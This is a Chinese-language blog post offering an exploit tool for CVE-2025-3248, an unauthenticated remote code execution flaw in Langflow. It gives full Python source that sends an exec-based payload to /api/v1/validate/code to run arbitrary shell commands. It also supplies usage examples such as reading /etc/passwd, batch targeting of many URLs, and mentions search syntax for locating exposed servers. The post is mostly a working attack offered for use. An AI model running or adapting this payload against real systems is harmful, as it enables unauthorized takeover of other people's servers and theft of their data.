CVE-2025-3248 Langflow远程代码执行漏洞利用工具

原创

qife122

发布于 2026-02-04 13:37:55

1250

CVE-2025-3248 Langflow RCE 漏洞利用工具

项目概述

CVE-2025-3248是一个严重的无需认证的远程代码执行漏洞，影响Langflow（一个流行的用于构建LLM应用程序的低代码框架）。该漏洞源于不安全地使用了Python内置的exec()函数来评估用户提供的输入，且未进行适当的清理。这使得攻击者能够在服务器上执行任意Python代码，完全控制底层系统。

CVE ID: CVE-2025-3248
严重等级: 严重
CVSS 评分: 9.8
EPSS 评分: 92.57%
发布日期: 2025年5月22日
受影响版本: ≤ v1.3.0
已修复版本: v1.3.0+

功能特性

🔓 远程且无需认证的RCE: 直接对Langflow的API端点进行远程代码执行，无需任何身份验证。
🔐 无需认证: 攻击利用过程完全绕过了认证机制。
🐍 Python3 单文件脚本: 代码简洁，使用Python3编写，依赖项少，易于执行。
🎨 彩色终端输出: 使用colorama库提供清晰的彩色命令行界面，增强可读性。
🌐 多目标支持: 支持通过单个URL或包含多个目标URL的文件进行批量测试。
🛠️ 代理支持: 支持配置HTTP/HTTPS代理（如Burp Suite），方便流量拦截和调试。
📄 信息收集参考: 提供了Shodan、ZoomEye、FOFA等平台的搜索语法，用于快速定位潜在的目标。

安装指南

前置条件

Python 版本: 3.x
操作系统: 支持Windows、Linux、macOS

依赖安装

该脚本主要依赖于requests和colorama库。可以使用pip进行安装。

pip install requests colorama

获取脚本

可以直接复制提供的CVE-2025-3248.py脚本内容，保存为本地Python文件。

使用说明

基本用法

该工具通过命令行参数运行。

python3 CVE-2025-3248.py -u http://target:7860 -c "id"

命令行参数详解

-u, --url: 指定单个目标URL（例如，http://192.168.1.100:7860）。
-i, --input: 指定一个包含多个目标URL列表的文件路径（每行一个URL）。
-c, --cmd: （必需） 指定要在目标系统上执行的Shell命令（例如，id， whoami, cat /etc/passwd）。
-p, --proxy: 指定代理服务器地址（例如，http://127.0.0.1:8080用于Burp Suite）。

使用示例

针对单个目标执行命令:python3 CVE-2025-3248.py -u http://victim.com:7860 -c "uname -a"
针对多个目标执行命令（批量测试）: 首先创建一个包含目标URL的文本文件targets.txt:http://target1.com:7860 http://target2.com:7860然后运行脚本:python3 CVE-2025-3248.py -i targets.txt -c "ls -la"
通过代理运行（用于调试或流量分析）:python3 CVE-2025-3248.py -u http://test.local:7860 -c "pwd" -p http://127.0.0.1:8080

受影响端点

攻击针对Langflow的API端点：/api/v1/validate/code。

核心代码

1. 主执行类 `LangflowExploit`

该类封装了与目标交互的核心逻辑，包括发送恶意载荷和处理响应。

class LangflowExploit:
    def __init__(self, url, proxy=None, timeout=10):
        # 初始化会话，设置目标URL、超时时间和代理
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False  # 忽略SSL证书验证
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (mitsec)',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        })

        if proxy:
            # 配置代理
            self.session.proxies = {
                "http": proxy,
                "https": proxy
            }

    def execute(self, command):
        # 构建目标端点URL
        endpoint = urljoin(self.url, '/api/v1/validate/code')
        # 核心载荷：通过构造会抛出异常的exec语句，在异常信息中捕获命令执行结果
        payload = {
            "code": f"""
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
"""
        }

        try:
            print(f"{Fore.YELLOW}[•] Sending exploit to: {endpoint}")
            # 发送POST请求，载荷为JSON格式
            response = self.session.post(endpoint, json=payload, timeout=self.timeout)
            print(f"{Fore.YELLOW}[•] HTTP Status: {response.status_code}")

            if response.status_code == 200:
                # 尝试解析返回的JSON，提取错误信息（其中包含了命令输出）
                try:
                    data = response.json()
                    error_msg = data.get("function", {}).get("errors", [""])[0]
                    if error_msg.startswith("b'"):
                        # 对命令输出进行解码
                        return error_msg[2:-1].encode().decode('unicode_escape').strip()
                except Exception as parse_err:
                    return f"[!] JSON parse error: {parse_err}"
            return f"[!] Exploit failed: HTTP {response.status_code}"
        except requests.RequestException as req_err:
            # 处理网络请求异常
            return f"[!] Request failed: {req_err}"

2. 主函数 `main()`

处理命令行参数，协调整个利用流程，支持单目标和批量目标。

def main():
    banner()  # 打印ASCII艺术横幅

    parser = argparse.ArgumentParser(description="mitsec | CVE-2025-3248 Langflow RCE Exploit")
    # 定义命令行参数
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://host:port)")
    parser.add_argument("-i", "--input", help="File containing list of target URLs")
    parser.add_argument("-c", "--cmd", required=True, help="Command to execute (e.g., id, whoami)")
    parser.add_argument("-p", "--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080 for Burp Suite)")
    args = parser.parse_args()

    targets = []  # 存储目标列表

    # 根据参数读取目标：优先从文件读取，否则使用单个URL
    if args.input:
        try:
            with open(args.input, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print(f"{Fore.RED}[!] Failed to read input file: {e}")
            return
    elif args.url:
        targets = [args.url]
    else:
        print(f"{Fore.RED}[!] Please specify either --url or --input.")
        return

    # 遍历所有目标并执行攻击
    for target in targets:
        print(f"{Fore.CYAN}\n[>] Target: {target}")
        exploit = LangflowExploit(target, proxy=args.proxy)
        output = exploit.execute(args.cmd)  # 执行命令
        print(f"{Fore.GREEN}[+] Command Output:\n{output}")

3. 横幅函数 `banner()`

生成并显示彩色的工具标识和信息横幅，增加专业感。

def banner():
    color = random.choice(COLORS)  # 随机选择一种颜色
    # 打印ASCII艺术字和工具信息框，包含CVE编号、作者等
    print(f"""{Style.BRIGHT}{color}

 █████╗ ███████╗██╗  ██╗
██╔══██╗██╔════╝██║  ██╔╝
███████║███████╗███████╔╝ 
██╔══██║╚════██║██╔═ ██╗ 
██║  ██║███████║██║  ██╗   
╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝     ASH!!!

╔══════════════════════════════════════════════════════════════════════════════════╗
║ Exploit Title: Langflow Remote Code Execution (RCE)                              ║
║ CVE ID       : {Fore.RED + Style.BRIGHT}CVE-2025-3248{color + Style.BRIGHT} 						           ║
║ Author       : B1ack4sh Black ASH                                                ║
║ GitHub       : https://github.com/B1ack4sh                                       ║
╚══════════════════════════════════════════════════════════════════════════════════╝
{Style.RESET_ALL}""")